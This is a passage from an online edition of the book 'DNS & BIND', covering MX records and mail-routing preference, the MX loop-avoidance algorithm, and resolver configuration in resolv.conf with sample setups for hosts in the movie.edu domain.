plange.puntacana.dr.  IN  MX  50  listo.puntacana.dr.
plange.puntacana.dr.  IN  MX  100 hep.puntacana.dr.

Mailers should attempt delivery to the mail exchangers with the lowest preference values first. This seems a little counterintuitive at first - the most preferred mail exchanger has the lowest preference value. But since the preference value is an unsigned quantity, this lets you specify a "best" mail exchanger at preference value 0.

If delivery to the most preferred mail exchanger(s) fails, mailers should attempt delivery to less preferred mail exchangers (those with higher preference values), in order of increasing preference value. That is, mailers should try more preferred mail exchangers before they try less preferred mail exchangers. More than one mail exchanger may share the same preference value, too. This gives the mailer its choice of which to send to first.[1] The mailer should try all the mail exchangers at a given preference value before proceeding to the next higher value, though.

[1] The newest version of sendmail, version 8, will actually choose randomly among mail exchangers at the same preference.

For example, the MX records for ora.com might be:

ora.com.    IN    MX    0 ora.ora.com.
ora.com.    IN    MX    10 ruby.ora.com.
ora.com.    IN    MX    10 opal.ora.com.

Interpreted together, these MX records instruct mailers to attempt delivery to ora.com by sending to:

  1. ora.ora.com first

  2. Either ruby.ora.com or opal.ora.com next, and finally

  3. The remaining preference 10 mail exchanger (the one not used in 2)

Of course, once the mailer successfully delivers the mail to one of ora.com's mail exchangers, it can stop. A mailer successfully delivering ora.com mail to ora.ora.com doesn't need to try ruby or opal.

What if a host doesn't have any MX records? Will a mailer simply not deliver mail to that host? Actually, you can compile recent versions of sendmail to do just that. Most vendors, however, have compiled their sendmails to be more forgiving: if no MX records exist, they'll at least attempt delivery to the host's address. sendmail version 8, compiled "out of the box," will try the address of a mail destination without MX records. Check your vendor's documentation if you're not sure which variety your sendmail is.

Even though nearly all mailers will deliver mail to a host with just an address, and no MX records, it's still a good idea to have at least one MX record for each host. sendmail will request MX records for a host each time it needs to deliver mail. If the host doesn't have any MX records, a name server - usually one of your authoritative name servers - still ends up answering that query. If you simply add an MX record for the host pointing to itself, sendmail will have its first query answered, and the mailer's local name server will cache the MX record for future use.

Previous: 4.10 What Next? | DNS & BIND | Next: 5.2 What's a Mail Exchanger, Again?
4.10 What Next? | Book Index | 5.2 What's a Mail Exchanger, Again?


[Chapter 5] 5.2 What's a Mail Exchanger, Again?

DNS & BIND

DNS & BINDSearch this book
Previous: 5.1 MX Records Chapter 5
DNS and Electronic Mail 		Next: 5.3 The MX Algorithm

5.2 What's a Mail Exchanger, Again?

The idea of a mail exchanger is probably new to many of you, so let's go over it in a little more detail. A simple analogy should help here: imagine that a mail exchanger is an airport, and instead of setting up MX records to instruct mailers where to send messages, you're advising your in-laws on which airport to fly into when they come visit you.

Say you live in Los Gatos, California. The closest airport for your in-laws to fly into is San Jose, the second closest is San Francisco, and the third Oakland. (We'll ignore other factors like price of the ticket, Bay Area traffic, etc.) Don't see the parallel? Then picture it like this:

los-gatos.ca.us.    IN    MX    1 san-jose.ca.us.
los-gatos.ca.us.    IN    MX    2 san-francisco.ca.us.
los-gatos.ca.us.    IN    MX    3 oakland.ca.us.

The MX list is just an ordered list of destinations that tells mailers (your in-laws) where to send messages (fly) if they want to reach a given domain (your house). The preference value tells them how desirable it is to use that destination - you can think of it as a logical "distance" from the eventual destination (in any units you choose), or simply as a "top-ten"-style ranking of the proximity of those mail exchangers to the final destination.

With this list, you're saying, "Try to fly into San Jose, and if you can't get there, try San Francisco and Oakland, in that order." It also says that if you reach San Francisco, you should take a commuter flight to San Jose. If you wind up in Oakland, you should try to get a commuter to San Jose, or at least to San Francisco.

What makes a good mail exchanger, then? The same qualities that make a good airport:

Size

You wouldn't want to fly into tiny Reid-Hillview Airport to get to Los Gatos, because the airport's not equipped to handle large planes or many people. (You'd probably be better off landing a big jet on Highway 280 than at Reid-Hillview.) Likewise, you don't want to use an emaciated, underpowered host as a mail exchanger; it won't be able to handle the load.

Uptime

You know better than to fly through Denver International Airport in the winter, right? Then you should know better than to use a host that's rarely up or available as a mail exchanger.

Connectivity

If your relatives are flying in from far away, you've got to make sure they can get a direct flight to at least one of the airports in the list you give them. You can't tell them their only choices are San Jose and Oakland if they're flying in from Helsinki. Similarly, you've got to make sure that at least one of your hosts' mail exchangers is reachable to anyone who might conceivably send you mail.

Management and administration

How well an airport is managed has a bearing on your safety while flying into or just through the airport, and on how easy it is to use. Think of these factors when choosing a mail exchanger. The privacy of your mail, the speed of its delivery during normal operations, and how well your mail is treated when your hosts go down all hinge upon the quality of the administrators who manage your mail exchangers.

Keep this example in mind, because we'll use it again later.

Previous: 5.1 MX Records | DNS & BIND | Next: 5.3 The MX Algorithm
5.1 MX Records | Book Index | 5.3 The MX Algorithm


[Chapter 5] 5.3 The MX Algorithm

DNS & BIND

DNS & BINDSearch this book
Previous: 5.2 What's a Mail Exchanger, Again? Chapter 5
DNS and Electronic Mail 		Next: 6. Configuring Hosts

5.3 The MX Algorithm

That's the basic idea behind MX records and mail exchangers, but there are a few more wrinkles you should know about. To avoid routing loops, mailers need to use a slightly more complicated algorithm than what we've described when they determine where to send mail.[2]

[2] This algorithm is based on RFC 974, which describes how Internet mail routing works.

Imagine what would happen if mailers didn't check for routing loops. Let's say you send mail from your workstation to nuts@ora.com, raving (or raging) about the quality of this book. Unfortunately, ora.ora.com is down at the moment. No problem! Recall ora.com's MX records:

ora.com.    IN    MX    0  ora.ora.com.
ora.com.    IN    MX    10 ruby.ora.com.
ora.com.    IN    MX    10 opal.ora.com.

Your mailer falls back and sends your message to ruby.ora.com, which is up. ruby's mailer then tries to forward the mail on to ora.ora.com, but can't, because ora.ora.com is down. Now what? Unless ruby checks the sanity of what she is doing, she'll try to forward the message to opal.ora.com, or maybe even to herself. That's certainly not going to help get the mail delivered. If ruby sends the message to herself, we have a mail routing loop. If ruby sends the message to opal, opal will either send it back to ruby or send it to herself, and we again have a mail routing loop.

To prevent this from happening, mailers discard certain MX records before they decide where to send a message. A mailer sorts the list of MX records by preference value and looks in the list for the canonical domain name of the host it's running on. If the local host appears as a mail exchanger, the mailer discards that MX record and all MX records in which the preference value is higher (that is, less preferred mail exchangers). That prevents the mailer from sending messages to itself or to mailers "farther" from the eventual destination.

Let's think about this in the context of our airport analogy. This time, imagine you're an airline passenger (a message), and you're trying to get to Greeley, Colorado. You can't get a direct flight to Greeley, but you can fly to either Fort Collins or Denver (the two next highest mail exchangers). Since Fort Collins is closer to Greeley, you opt to fly to Fort Collins.

Now, once you've arrived in Fort Collins, there's no sense in flying to Denver, away from your destination (a lower preference mail exchanger). (And flying from Fort Collins to Fort Collins would be silly, too.) So the only acceptable flight to get you to your destination is now a Fort Collins-Greeley flight. You eliminate flights to less preferred destinations to prevent frequent flyer looping and wasteful travel time.

One caveat: most mailers will only look for their local host's canonical domain name in the list of MX records. They don't check for aliases (domain names on the left side of CNAME records). Unless you always use canonical names in your MX records, there's no guarantee a mailer will be able to find itself in the MX list, and you'll run the risk of having your mail loop. If you send mail addressed to a particular domain name to a mailer that isn't configured to accept mail for that domain name, and it finds itself as the most preferred mail exchanger, it may bounce the mail with the error:

554 MX list for movie.edu points back to relay.isp.com
554 <root@movie.edu>... Local configuration error

This replaces the quainter "I refuse to talk to myself" error in newer versions of sendmail. The moral: in an MX record, always use the mail exchanger's canonical name.

One more caveat: the hosts you list as mail exchangers must have address records. A mailer needs to find an address for each mail exchanger you name, or else it can't attempt delivery there.

To go back to our ora.com example, when ruby received the message from your workstation, her mailer would have checked the list of MX records:

ora.com.    IN    MX    0  ora.ora.com.
ora.com.    IN    MX    10 ruby.ora.com.
ora.com.    IN    MX    10 opal.ora.com.

Finding the local host's domain name in the list at preference value 10, ruby's mailer would discard all the records at preference value 10 or higher (the records in bold):

ora.com.    IN    MX    0 ora.ora.com.
ora.com.    IN    MX    10 ruby.ora.com.
ora.com.    IN    MX    10 opal.ora.com.

leaving only:

ora.com.    IN    MX    0 ora.ora.com.

Since ora.ora.com is down, ruby would defer delivery until later, and queue the message.

What happens if a mailer finds itself at the highest preference (lowest preference value), and has to discard the whole MX list? Some mailers attempt delivery directly to the destination host's IP address, as a last-ditch effort. In most mailers, however, it's an error. It may indicate that DNS thinks the mailer should be processing (not just forwarding) mail for the destination, but the mailer hasn't been configured to know that. Or it may indicate that the administrator has ordered the MX records incorrectly by using the wrong preference values.

Say, for example, the folks who run acme.com add a mail exchanger record to direct mail addressed to acme.com to a mailer at their Internet Service Provider:

acme.com.    IN    MX    10 mail.isp.net.

Many mailers need to be configured to identify their aliases and the names of other hosts they process mail for. Unless the mailer on mail.isp.net is configured to recognize email addressed to acme.com as local mail, it will assume it's being asked to relay the mail and attempt to forward the mail to a mail exchanger closer to the final destination.[3] When it looks up the MX records for acme.com, it'll find itself as the most preferred mail exchanger, and return the mail to the sender. Then it will bounce the mail with the familiar error:

[3] Unless, of course, mail.isp.net's mailer is configured not to relay mail for unknown domains.

554 MX list for acme.com points back to mail.isp.com
554 <root@acme.com>... Local configuration error

Many versions of sendmail use class w or fileclass w as the list of "local" destinations. Depending on your sendmail.cf file, adding an alias can be as easy as adding the line

Cw acme.com

to sendmail.cf. If your mailer uses another mail transport, such as UUCP, to deliver mail to the hosts it acts as a mail exchanger for, this will probably require more involved configuration.[4]

[4] Configuring UUCP, while beyond the scope of this book, is covered in Using & Managing uucp, by Ed Ravin, published by O'Reilly & Associates (1996).

You may have noticed that we tend to use multiples of ten for our preference values. Ten is convenient because it allows you to insert other MX records temporarily at intermediate values without changing the other weights, but otherwise there's nothing magical about it.

Previous: 5.2 What's a Mail Exchanger, Again? | DNS & BIND | Next: 6. Configuring Hosts
5.2 What's a Mail Exchanger, Again? | Book Index | 6. Configuring Hosts


[Chapter 6] Configuring Hosts

DNS & BIND

DNS & BINDSearch this book
Previous: 5.3 The MX Algorithm Chapter 6 Next: 6.2 Sample Resolver Configurations

6. Configuring Hosts

Contents:
The Resolver
Sample Resolver Configurations
Minimizing Pain and Suffering
Vendor-Specific Options

They were indeed a queer-looking party that assembled on the bank - the birds with draggled feathers, the animals with their fur clinging close to them, and all dripping wet, cross, and uncomfortable.

Now that you or someone else in your organization has set up name servers for your zones, you'll want to configure the hosts on your network to use them. That involves configuring those hosts' resolvers. You should also check files like hosts.equiv and .rhosts and make any changes dictated by using DNS; you may need to convert some of the host names in these files to domain names. And you may also want to add aliases, both for your users' convenience and to minimize the shock of the conversion to DNS.

This chapter covers these topics, and also describes configuring the resolver in many common versions of UNIX and in Microsoft's Windows 95 and Windows NT.

6.1 The Resolver

We introduced resolvers way back in Chapter 2, How Does DNS Work?, but we didn't say much more about them. The resolver, you'll remember, is the client half of the Domain Name System. It's responsible for translating a program's request for host information into a query to a name server and for translating the response into an answer for the program.

We haven't done any resolver configuration yet, because the occasion for it hasn't arisen. When we set up our name servers in Chapter 4, Setting Up BIND, the resolver's default behavior worked just fine for our purposes. But if we'd needed the resolver to do more than what it does by default, or to behave differently from the default, we would have had to configure the resolver.

There's one thing we should mention up front: what we'll describe in the next few sections is the behavior of the vanilla DNS 8.1.2 resolver in the absence of other naming services. Not all resolvers behave quite this way; some vendors still ship resolvers based on earlier versions of the DNS code, and some have implemented special resolver functionality that lets you modify the resolver algorithm. Whenever we think it's important, we'll point out differences between the behavior of the 8.1.2 DNS resolver and that of earlier resolvers, particularly the 4.8.3 resolver, which is what many vendors were shipping when we last updated this book. We'll cover various vendors' extensions later in this chapter.

So what exactly does the resolver allow you to configure? Most resolvers let you configure at least three aspects of the resolver's behavior: the default domain, the search list, and the name server(s) that the resolver queries. Many UNIX vendors allow you to configure other resolver behavior, too, through nonstandard extensions to DNS. Sometimes these extensions are necessary to cope with other software, like Sun's Network Information Service (NIS); sometimes they're simply value added by the vendor.[1]

[1] NIS used to be called "Yellow Pages," or "YP," but was changed to NIS because the British phone company had a copyright on the name Yellow Pages.

Almost all resolver configuration is done in the file /etc/resolv.conf (this may be /usr/etc/resolv.conf or something similar on your host - check the resolver manual page, usually in section 4 or 5, to make sure). There are five main directives you can use in resolv.conf: the domain directive, the search directive, the nameserver directive, the sortlist directive, and the options directive. These directives control the behavior of the resolver. There are other, vendor-specific directives available on some versions of UNIX - we'll discuss them at the end of this chapter.

6.1.1 The Default Domain

The default domain is the domain considered "local" to the host. For example, when you add an entry like:

relay mark

to your .rhosts file, the name relay is assumed to be in your default domain. This makes a lot more sense than allowing access to every host on the Internet whose domain name starts with relay. Other authorization files like hosts.equiv and hosts.lpd work the same way.

Normally, the default domain is determined from the host's hostname; the default domain is everything after the first "." in the name. If the name doesn't contain a ".", the default domain is assumed to be the root domain. So the hostname asylum.sf.ca.us implies a default domain of sf.ca.us, while the hostname dogbert implies a root default domain - which probably isn't correct, given that there are no hosts immediately under the root domain.

You can also set the default domain with the domain directive in resolv.conf. If the domain directive is specified, it overrides the domain in the hostname.

The domain directive has a very simple syntax, but you've got to get it right, since the resolver doesn't report errors. The keyword domain starts the line in column one, followed by whitespace (one or more blanks or tabs), then the name of the default domain. The default domain should be written without a trailing dot, like this:

domain colospgs.co.us

In older versions of the DNS resolver (those before DNS 4.9.3), trailing spaces are not allowed on the line, and will cause your default domain to be set to a name ending with one or more spaces, which is almost certainly not what you want. And there's yet another way to set the default domain - via the LOCALDOMAIN environment variable. LOCALDOMAIN is handy because you can set it on a per-user basis. For example, you might have a big, massively parallel box in your corporate computing center to which employees from all over the world log in. Each may do most of his work in a different company subdomain. With LOCALDOMAIN, each employee can set his default domain to the appropriate domain in his shell startup file.

Which method should you use - hostname, the domain directive, or LOCALDOMAIN? We prefer using hostname, but primarily because that's the way Berkeley does it, and it seems "cleaner" in that it requires less explicit configuration. Also, some Berkeley software, particularly software that uses the ruserok() library call to authenticate users, allows short host names in files like hosts.equiv only if hostname is set to the full domain name.

If you run software that can't tolerate long hostnames, though, you can use the domain directive. The hostname command will continue to return a short name, and the resolver will fill in the domain from resolv.conf. You may even find occasion to use LOCALDOMAIN on a host with lots of users.

6.1.2 The Search List

The default domain, whether derived from hostname or resolv.conf, also determines the default search list. The search list was designed to make users' lives a little easier by saving them some typing. The idea is to search one or more domains for names typed at the command line that might be incomplete - that is, that might not be fully qualified domain names.

Most UNIX networking commands that take a domain name as an argument, like telnet, ftp, rlogin, and rsh, apply the search list to those arguments.

Both the way the default search list is derived and the way the search list is applied changed from DNS 4.8.3 to DNS 4.9. If your resolver is an older make, you'll still see the 4.8.3 behavior, but if you've got a newer model, including DNS 8.1.2,[2] you'll see the improvements in the 4.9 resolver.

[2] Though the ISC added lots of new server functionality in DNS 8, the resolver is nearly identical to the DNS 4.9 resolver.

With any DNS resolver, a user can indicate that a domain name is fully qualified by adding a trailing dot to it.[3] For example, the trailing dot in the command:

[3] Note that we said that the resolver can handle a trailing dot. Some programs, particularly UNIX mail user agents, don't deal correctly with a trailing dot in email addresses. They cough even before they hand the domain name in the address to the resolver.

% telnet ftp.ora.com.

means "don't bother searching any other domains; this domain name is fully qualified." This is analogous to the leading slash in full pathnames in the UNIX and MS-DOS filesystems. Pathnames without a leading slash are interpreted as relative to the current working directory, while pathnames with a leading slash are absolute, anchored at the root.

6.1.2.1 The DNS 4.8.3 search list

With DNS 4.8.3 resolvers, the default search list includes the default domain and each of its parent domains with two or more labels. Therefore, on a host running a 4.8.3 resolver and configured with:

domain cv.hp.com

the default search list would contain first cv.hp.com, the default domain, then hp.com, the default domain's parent, but not com, as it only has one label.[4] The name is looked up as is, after the resolver appends each element of the search list, and only if the name typed contains at least one dot. Thus, a user typing:

[4] One reason older DNS resolvers didn't append just the top-level domain is that there were - and still are - very few hosts at the second level of the Internet's name space, so tacking on just com or edu to foo is unlikely to result in the domain name of a real host. Also, looking up the address of a foo.com or foo.edu might well require sending a query to a root name server, which taxes the roots and can be time-consuming.

% telnet pronto.cv.hp.com

will cause lookups of pronto.cv.hp.com.cv.hp.com and pronto.cv.hp.com.hp.com before the resolver looks up pronto.cv.hp.com by itself. A user typing:

% telnet asap

on the same host would cause the resolver to look up asap.cv.hp.com and asap.hp.com, but not just asap, since the name typed ("asap") contains no dots.

Note that application of the search list stops as soon as a prospective domain name turns up the data being looked up. In the asap example, the search list would never get around to appending hp.com if asap.cv.hp.com resolved to an address.

6.1.2.2 The DNS 4.9 and later search list

With DNS 4.9, the default search list includes just the default domain. So, if you configure a host with:

domain cv.hp.com

the default search list would contain just cv.hp.com. Also, in a change from earlier resolvers, the search list is usually applied after the name is tried as is. As long as the argument you type has at least one dot in it, it's looked up exactly as you typed it before any element of the search list is appended. If that lookup fails, the search list is applied. Even if the argument has no dots in it (that is, it's a single label name), it's tried as-is, after the resolver appends the elements of the search list.

Why is it better to try the argument literatim first? From experience, the designers of DNS found that, more often than not, if a user bothered to type in a name with even a single dot in it, he was probably typing in a fully qualified domain name without the trailing dot. With older search list behavior, the resolver would send several fruitless queries before ever trying the name as typed.

Therefore, with a 4.9 resolver, a user typing:

% telnet pronto.cv.hp.com

would have pronto.cv.hp.com looked up first (there are three dots in the argument). If that query failed, the resolver would try pronto.cv.hp.com.cv.hp.com. A user typing:

% telnet asap

on the same host would cause the resolver to look up asap.cv.hp.com first, since the name doesn't contain a dot, and then just asap.

6.1.3 The search Directive

What if you don't like the default search list you get when you set your default domain? In DNS 4.8.3 and all newer resolvers, you can set the search list explicitly, domain by domain, in the order you want the domains searched. You do this with the search directive.

The syntax of the search directive is very similar to that of the domain directive, except that it can take multiple domain names as arguments. The keyword search starts the line in column one, followed by from one to six domain names, in the order you want them searched. The first domain in the list is interpreted as the default domain, so the search and domain directives are mutually exclusive. If you use both in resolv.conf, the one that appears last will override the other.

The directive:

search corp.hp.com paloalto.hp.com hp.com

for example, would instruct the resolver to search the corp.hp.com domain first, then paloalto.hp.com, and then both domains' parent, hp.com.

This directive might be useful on a host whose users access hosts in both corp.hp.com and paloalto.hp.com frequently. On the other hand, on a DNS 4.8.3 resolver, the directive:

search corp.hp.com

would have the resolver skip searching the default domain's parent domain when the search list is applied. (On a 4.9 resolver, the parent domain isn't in the search list, so this is no different from the default behavior.) This might be useful if the host's users only access hosts in the local domain, or if connectivity to the parent name servers isn't good (because it minimizes unnecessary queries to the parent name servers).

NOTE: If you use the domain directive and update your resolver to DNS version 4.9 or later, users who relied on your default domain's parent being in the search list may believe the resolver has suddenly broken. You can restore the old behavior by using the search directive to configure your resolver to use the same search list that it would have built before. For example, under DNS 4.9 or DNS 8, you can replace domain nsr.hp.com with search nsr.hp.com hp.com and get the same functionality.

6.1.4 The nameserver Directive

Back in Chapter 4, we talked about two types of name servers: primary master name servers and slave name servers. But what if you don't want to run a name server on a host, yet still want to use DNS? Or, for that matter, what if you can't run a name server on a host (because the operating system doesn't support it, for example)? Surely you don't have to run a name server on every host, right?

No, of course you don't. By default, the resolver looks for a name server running on the local host - which is why we could use nslookup on terminator and wormhole right after we configured their name servers. You can, however, instruct the resolver to look to another host for name service. This configuration is called a DNS client in the BIND Operations Guide.

The nameserver directive (yep, all one word) tells the resolver the IP address of a name server to query. For example, the line:

nameserver 15.32.17.2

instructs the resolver to send queries to the name server running at IP address 15.32.17.2, instead of to the local host. This means that on hosts that don't run name servers, you can use the nameserver directive to point them at a remote name server. Typically, you would configure the resolvers on your hosts to query your own name servers.

However, since name servers before DNS 4.9 don't have any notion of access control, you can configure your resolver to query almost anyone's name server. Of course, configuring your host to use someone else's name server without first asking permission is presumptuous, if not downright rude, and using one of your own will usually give you better performance, so we'll consider this only an emergency option.

You can also configure the resolver to query the host's local name server, by using either the local host's IP address or the zero address. The zero address, 0.0.0.0, is interpreted by most TCP/IP implementations to mean "this host." The host's real IP address, of course, also means "this host." On hosts that don't understand the zero address, you can use the loopback address, 127.0.0.1.

Now what if the name server your resolver queries is down? Isn't there any way to specify a backup? Do you just fall back to using the host table?

The resolver will also allow you to specify up to three (count 'em, three) name servers using multiple nameserver directives. The resolver will query those name servers, in the order listed, until it receives an answer or times out. The number of name servers you configure dictates other aspects of the resolver's behavior, too.

NOTE: If you use multiple nameserver directives, don't use the loopback address! There's a bug in some Berkeley-derived TCP/IP implementations that can cause problems with DNS if the local name server is down. The resolver's connected datagram socket won't rebind to a new local address if the local name server isn't running, and consequently the resolver will send query packets to the fallback remote name servers with a source address of 127.0.0.1. When the remote name servers try to reply, they'll end up sending the reply packets to themselves.

6.1.4.1 One name server configured

If there's only one name server configured, the resolver queries that name server with a timeout of five seconds. The timeout is the length of time the resolver will wait for a response from the name server before sending another query. If the resolver encounters an error that indicates the name server is really down or unreachable, or if it times out, it will double the timeout and query the name server again. The errors that would cause this include:[5]

[5] When we say "one name server configured," that means either one nameserver directive in resolv.conf or no nameserver directive with a name server running locally.

  • Receipt of an ICMP port unreachable message, which means that no name server is listening on the name server port

  • Receipt of an ICMP host unreachable or network unreachable message, which means that queries can't be sent to the destination IP address

If the domain name or data don't exist, the resolver doesn't retry the query. Theoretically, at least, each name server should have an equivalent "view" of the name space; there's no reason to believe one and not another. So if one name server tells you that a given domain name doesn't exist, or that the type of data you're looking for doesn't exist for the domain name you specified, any other name server should give you the same answer.[6] If the resolver receives a network error each time it sends a query (for a total of four errors), it falls back to using the host table. Note that these are errors, not timeouts. If it times out on even one query, the resolver returns a null answer and does not fall back to /etc/hosts.

[6] The built-in latency of DNS makes this a small fib - a primary can have authority for a zone and have different data from a slave that also has authority for the zone. The primary may have just loaded new zone data from disk, while the slave may not have had time to transfer the new zone data from the primary. Both name servers return authoritative answers for the zone, but the primary may know about a brand-new host that the slave doesn't yet know about.

6.1.4.2 More than one name server configured

With more than one name server configured, the behavior is a little different. Here's what happens: the resolver starts by querying the first name server in the list, with a timeout of five seconds, just as in the single name server case. If the resolver times out or receives a network error, it will fall back to the next name server, waiting the same five seconds for that name server. Unfortunately, the resolver won't receive many of the possible errors; the socket the resolver uses is "unconnected," since it must be able to receive responses from any of the name servers it queries, and unconnected sockets don't receive ICMP error messages. If the resolver queries all the configured name servers, to no avail, it updates the timeouts and cycles through them again.

The resolver timeout for the next round of queries is based on the number of name servers configured in resolv.conf. The timeout for the second round of queries is ten seconds divided by the number of name servers configured, rounded down. Each successive round's timeout is double the previous timeout. After three sets of retransmissions (a total of four timeouts for every name server configured), the resolver gives up trying to query name servers.

For you mathophobes, Table 6.1 shows what the timeouts look like when you have one, two, or three name servers configured.

Table 6.1: Resolver Timeouts
 | Name Servers Configured
Retry | 1 | 2 | 3
Total | 75s | 80s | 81s
0 | 5s | (2x) 5s | (3x) 5s
1 | 10s | (2x) 5s | (3x) 3s
2 | 20s | (2x) 10s | (3x) 6s
3 | 40s | (2x) 20s | (3x) 13s

(Note that this is how DNS versions 4.9 and later behave. The behavior of older versions of DNS is similar, but not necessarily identical.)

So if you configure three servers, the resolver queries the first server, with a timeout period of five seconds. If that query times out, the resolver queries the second server with the same timeout, and similarly for the third. If the resolver cycles through all three servers, it doubles the timeout period and divides by three (to three seconds, 10/3 rounded down) and queries the first server again.

Do these times seem awfully long? Remember, this describes a worst-case scenario. With properly-functioning name servers running on tolerably fast hosts, your resolvers should get their answers back in well under a second. Only if all the configured servers are really busy or they or your network is down will the resolver ever make it all the way through the retransmission cycle and give up.

What does the resolver do after it gives up? It times out and returns an error. Typically this results in an error like:

% telnet tootsie
tootsie: Host name lookup failure

Of course, it'll take at least 75 seconds of waiting to see this message, so be patient.

6.1.5 The sortlist Directive

The sortlist directive is a mechanism in DNS 4.9 and later resolvers that lets you specify subnets and networks for the resolver to prefer if it receives multiple addresses as the result of a query. In some cases, you'll have reason to want your host to use a particular network to get to certain destinations. For example, say your workstation and your NFS server have two network interfaces each: one on an Ethernet, subnet 128.32.1; and one on an FDDI ring, subnet 128.32.42. If you leave your workstation's resolver to its own devices, it's anybody's guess which of the NFS server's IP addresses you'll use for a mount - presumably, the first one in a reply packet from the name server. To make sure you try the interface on the FDDI ring first, you can add a sortlist directive to resolv.conf that sorts the address on 128.32.42 to the preferred position in the structure passed back to programs:

sortlist 128.32.42.0/255.255.255.0

The argument after the slash is the subnet mask for the subnet in question. To prefer an entire network, you can omit the slash and the subnet mask:

sortlist 128.32.0.0

The resolver will assume you mean the entire class B network 128.32. (The resolver derives the default unsubnetted net mask for the network from the first few bits of the IP address.)

And, of course, you can specify several subnets and networks to prefer over others:

sortlist 128.32.42.0/255.255.255.0 15.0.0.0

The resolver sorts any addresses in a reply that match these arguments into the order in which they appear in the directive, and appends addresses that don't match to the end.

6.1.6 The options Directive

The options directive was introduced with DNS 4.9. options will let you tweak two internal resolver settings. The first is the debug flag, RES_DEBUG. The directive:

options debug

sets RES_DEBUG, producing lots of exciting debugging information on standard output, assuming your resolver was configured with DEBUG defined. (Actually, that may not be a good assumption, since most vendors compile their stock resolvers without DEBUG defined.) This is very useful if you're attempting to diagnose a problem with your resolver or with name service in general, but very annoying otherwise.

The second setting you can modify is ndots, which sets the minimum number of dots a domain name argument must have so that the resolver will look it up before applying the search list. By default, one or more dots will do; this is equivalent to ndots:1. The resolver will try the domain name as typed first as long as the name has any dots in it. You can raise the threshold if you believe your users are more likely to type partial domain names that will need the search list applied. For example, if your default domain is mit.edu and your users are accustomed to typing:

% ftp prep.ai

and having mit.edu automatically appended to produce prep.ai.mit.edu, then you may want to raise ndots to two so that your users won't unwittingly cause lookups to the root name servers for names in the top-level ai domain. You could do this with:

options ndots:2

You can combine both option settings on the same line in resolv.conf, like so:

options debug ndots:2

6.1.7 Comments

Also introduced with DNS 4.9 resolvers, and about time, if you ask us, is the ability to put comments in the resolv.conf file. Lines that begin with a pound sign or semi-colon in the first column are interpreted as comments and ignored by the resolver.

6.1.8 A Note on the 4.9 Resolver Directives

If you're just moving to a DNS 4.9.3 or 4.9.4 resolver, be careful when using the new directives. You may still have older resolver code statically linked into programs on your host. Often, this isn't a problem because UNIX resolvers ignore directives they don't understand. But don't count on all programs on your host obeying the new directive.

If you're running on a host with programs that include really old resolver code, before 4.8.3, and you'd still like to use the search directive with programs that can take advantage of it, here's a trick: use both a domain directive and a search directive in resolv.conf, with the domain directive first. Old resolvers will read the domain directive and ignore the search directive, because they won't recognize it. New resolvers will read the domain directive, but the following search directive will override its behavior.

Previous: 5.3 The MX Algorithm | DNS & BIND | Next: 6.2 Sample Resolver Configurations
5.3 The MX Algorithm | Book Index | 6.2 Sample Resolver Configurations


[Chapter 6] 6.2 Sample Resolver Configurations

DNS & BIND

DNS & BINDSearch this book
Previous: 6.1 The Resolver Chapter 6
Configuring Hosts 		Next: 6.3 Minimizing Pain and Suffering

6.2 Sample Resolver Configurations

So much for the theory - let's go over what resolv.conf files look like on real hosts. Resolver configuration needs vary depending on whether or not a host runs a local name server, so we'll cover both cases: hosts with local name servers, and hosts with remote name servers.

6.2.1 Resolver Only

We, as the administrators of movie.edu, have just been asked to configure a professor's new standalone workstation, which doesn't run a name server. Deciding which domain the workstation belongs in is easy - there's only movie.edu to choose from. However, she is working with researchers at Pixar on new shading algorithms, so perhaps it'd be wise to put pixar.com in her workstation's search list. The search directive:

search movie.edu pixar.com

will put her workstation in the movie.edu domain, and will search pixar.com for names not found in movie.edu.

The new workstation is on the 192.249.249.0 network, so the closest name servers are wormhole.movie.edu (192.249.249.1) and terminator.movie.edu (192.249.249.3). As a rule, you should configure hosts to use the closest name server available first. (The closest possible name server is a name server on the local host; the next closest is a name server on the same network or subnet.) In this case, both name servers are equally close, but we know that wormhole is bigger (it's a faster host, with more capacity). So the first nameserver directive in resolv.conf should be:

nameserver 192.249.249.1

Since this particular professor is known to get awfully vocal when she has problems with her computer, we'll also add terminator.movie.edu (192.249.249.3) as a backup name server. That way, if wormhole is down for any reason, the professor's workstation can still get name service (assuming terminator and the rest of the network are up).

The resolv.conf file ends up looking like this:

search movie.edu pixar.com
nameserver 192.249.249.1
nameserver 192.249.249.3

6.2.2 Local Name Server

Next, we have to configure the university mail hub, postmanrings2x, to use domain name service. postmanrings2x is shared by all groups in the movie.edu domain. We've recently configured a name server on the host to help cut down the load on the other name servers, so we should make sure the resolver queries the name server on the local host first.

The simplest resolver configuration for this case is no configuration at all: don't create a resolv.conf file, and let the resolver default to using the local name server. The hostname should be set to the full domain name of the host, so the resolver can determine the local domain.

If we decide we need a backup name server - a prudent decision - we can use resolv.conf. Whether or not we configure a backup name server depends largely on the reliability of the local name server. A good implementation of the DNS named will keep running for longer than some operating systems, so there may be no need for a backup. If the local name server has a history of problems, though - say it hangs occasionally and stops responding to queries - it's prudent to add a backup name server.

To add a backup name server, just list the local name server first in resolv.conf (at the host's IP address or the zero address, 0.0.0.0 - either will do), then one or two backup name servers. Remember not to use the loopback address unless you know your system's TCP/IP stack doesn't have the problem we mentioned earlier.

Since we'd rather be safe than sorry, we're going to add two backup name servers. postmanrings2x is on the 192.249.249.0 network, too, so terminator and wormhole are the closest name servers to it (besides its own). We'll reverse the order in which they're tried from the previous resolver-only example, to help balance the load between the two. The resolv.conf file ends up looking like this:

domain movie.edu
nameserver 0.0.0.0
nameserver 192.249.249.3
nameserver 192.249.249.1

Previous: 6.1 The Resolver | DNS & BIND | Next: 6.3 Minimizing Pain and Suffering
6.1 The Resolver | Book Index | 6.3 Minimizing Pain and Suffering


[Chapter 6] 6.3 Minimizing Pain and Suffering

DNS & BIND

DNS & BINDSearch this book
Previous: 6.2 Sample Resolver Configurations Chapter 6
Configuring Hosts 		Next: 6.4 Vendor-Specific Options

6.3 Minimizing Pain and Suffering

Now that you've configured your host to use DNS, what's going to change? Will your users be forced to type long domain names? Will they have to change their mail addresses and mailing lists?

Thanks to the search list, much of this will continue working as before. There are some exceptions, though, and there are notable differences in the way that some programs behave when they use DNS. We'll try to cover all of the common ones.

6.3.1 Differences in Service Behavior

As you've seen earlier in this chapter, programs like telnet, ftp, rlogin, and rsh apply the search list to domain name arguments that aren't dot-terminated. That means that if you're in movie.edu (i.e., your default domain is movie.edu and your search list includes movie.edu), you can type either:

% telnet misery

or:

% telnet misery.movie.edu

or even:

% telnet misery.movie.edu.

